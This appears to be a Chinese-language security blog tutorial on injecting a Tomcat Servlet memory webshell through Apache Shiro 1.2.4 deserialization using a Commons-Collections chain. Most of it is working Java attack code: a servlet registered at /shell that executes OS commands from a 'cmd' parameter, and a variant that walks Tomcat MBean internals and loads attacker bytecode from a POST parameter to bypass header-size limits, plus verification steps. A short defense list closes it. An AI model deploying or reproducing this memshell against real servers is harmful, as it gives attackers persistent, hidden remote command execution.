shiro环境下的Servlet内存马注入踩坑日记
字数 1106 2025-08-26 22:11:45
Shiro环境下Servlet内存马注入技术分析与实践
环境搭建
本地环境搭建
-
使用Shiro 1.2.4版本环境
-
下载方式:
- 直接下载1.2.4版本的源码(zip包或git clone)
- 使用samples文件夹下的samples-web项目进行测试
-
pom.xml修改:
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
- 添加Tomcat容器进行部署
Docker环境搭建
直接使用DockerHub上的镜像即可
Shiro反序列化特性分析
-
反序列化过程关键点:
org.apache.shiro.io.DefaultSerializer#deserialize方法- 使用
ClassResolvingObjectInputStream而非普通ObjectInputStream
-
关键差异:
ClassResolvingObjectInputStream重写了resolveClass方法- 使用
ClassUtils.forName而非Class.forName - 实际调用
WebappClassLoaderBase#loadClass方法加载类
-
限制条件:
- 无法加载数组类型的对象(如
/Lorg/apache/commons/collections/Transformer;.class) - 解决方案:使用不包含数组的利用链
- 无法加载数组类型的对象(如
内存马构造技术
基本思路
- 使用
InvokerTransformer + LazyMap + TemplatesImpl组合 - 动态创建Servlet实现内存驻留
上下文获取方法
// 从线程中获取类加载器WebappClassLoaderBase
WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
// 获取TomcatEmbeddedContext对象
Context context = contextClassLoader.getResources().getContext();
// 从上下文中获取ApplicationContext对象
ApplicationContext servletContext = (ApplicationContext)getField(context, Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"));
完整Servlet内存马实现
public class TomcatMemshell2 extends AbstractTranslet implements Servlet {
// ... 省略其他方法实现 ...
static {
try {
// 上下文获取代码
WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
Context context = contextClassLoader.getResources().getContext();
ApplicationContext servletContext = (ApplicationContext)getField(context, Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"));
String name = "RoboTerh";
if (servletContext.getServletRegistration(name) == null) {
StandardContext o = null;
// 获取StandardContext对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof StandardContext) {
o = (StandardContext)object;
}
}
// 创建并注册Servlet
Servlet servlet = new TomcatMemshell2();
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
o.addChild(newWrapper);
o.addServletMappingDecoded("/shell", name);
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
// 命令执行逻辑
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
}
绕过maxHttpHeaderSize限制
问题描述
直接发送大Cookie会导致"请求头太大"错误
解决方案:自定义ClassLoader加载
-
实现思路:
- 通过POST参数传递恶意类字节码
- 自定义ClassLoader获取POST参数
ClassData - 使用
defineClass加载类并newInstance实例化
-
改进版内存马关键代码:
static {
try {
// 通过MBeanServer获取请求处理器
MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer();
Object mbsInterceptor = getField(mBeanServer, Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"));
Object repository = getField(mbsInterceptor, Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"));
HashMap domainTb = (HashMap)getField(repository, Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"));
// 获取GlobalRequestProcessor
Object namedObject = ((HashMap)domainTb.get("Catalina")).get("name=\"http-nio-8080\",type=GlobalRequestProcessor");
Object object = getField(namedObject, Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"));
Object resource = getField(object, Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"));
// 遍历处理器寻找包含cmd参数的请求
ArrayList processors = (ArrayList)getField(resource, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));
Iterator var8 = processors.iterator();
while(true) {
ServletContext servletContext;
String name;
do {
Request req;
do {
if (!var8.hasNext()) {
break;
}
Object processor = var8.next();
RequestInfo requestInfo = (RequestInfo)processor;
req = (Request)getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));
} while(req.getParameters().getParameter("cmd") == null);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request)req.getNote(1);
servletContext = request.getServletContext();
name = "RoboTerh";
} while(servletContext.getServletRegistration(name) != null);
// 获取StandardContext并注册Servlet
StandardContext o = null;
while(o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object obj = f.get(servletContext);
if (obj instanceof ServletContext) {
servletContext = (ServletContext)obj;
} else if (obj instanceof StandardContext) {
o = (StandardContext)obj;
}
}
Servlet servlet = new TomcatMemshell3();
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
o.addChild(newWrapper);
o.addServletMappingDecoded("/shell", name);
}
} catch (Exception var18) {
var18.printStackTrace();
}
}
测试与验证
-
生成序列化数据:
- 使用不包含数组的CC链生成
- 进行AES加密和Base64编码
-
注入方式:
- 将恶意类字节码Base64编码后通过POST参数
ClassData传递
- 将恶意类字节码Base64编码后通过POST参数
-
验证方法:
- 访问
/shell?cmd=whoami验证命令执行 - 检查是否成功创建名为"RoboTerh"的Servlet
- 访问
防御建议
- 及时升级Shiro到最新版本
- 限制反序列化操作
- 监控异常Servlet注册行为
- 设置合理的maxHttpHeaderSize
- 实施严格的输入验证和过滤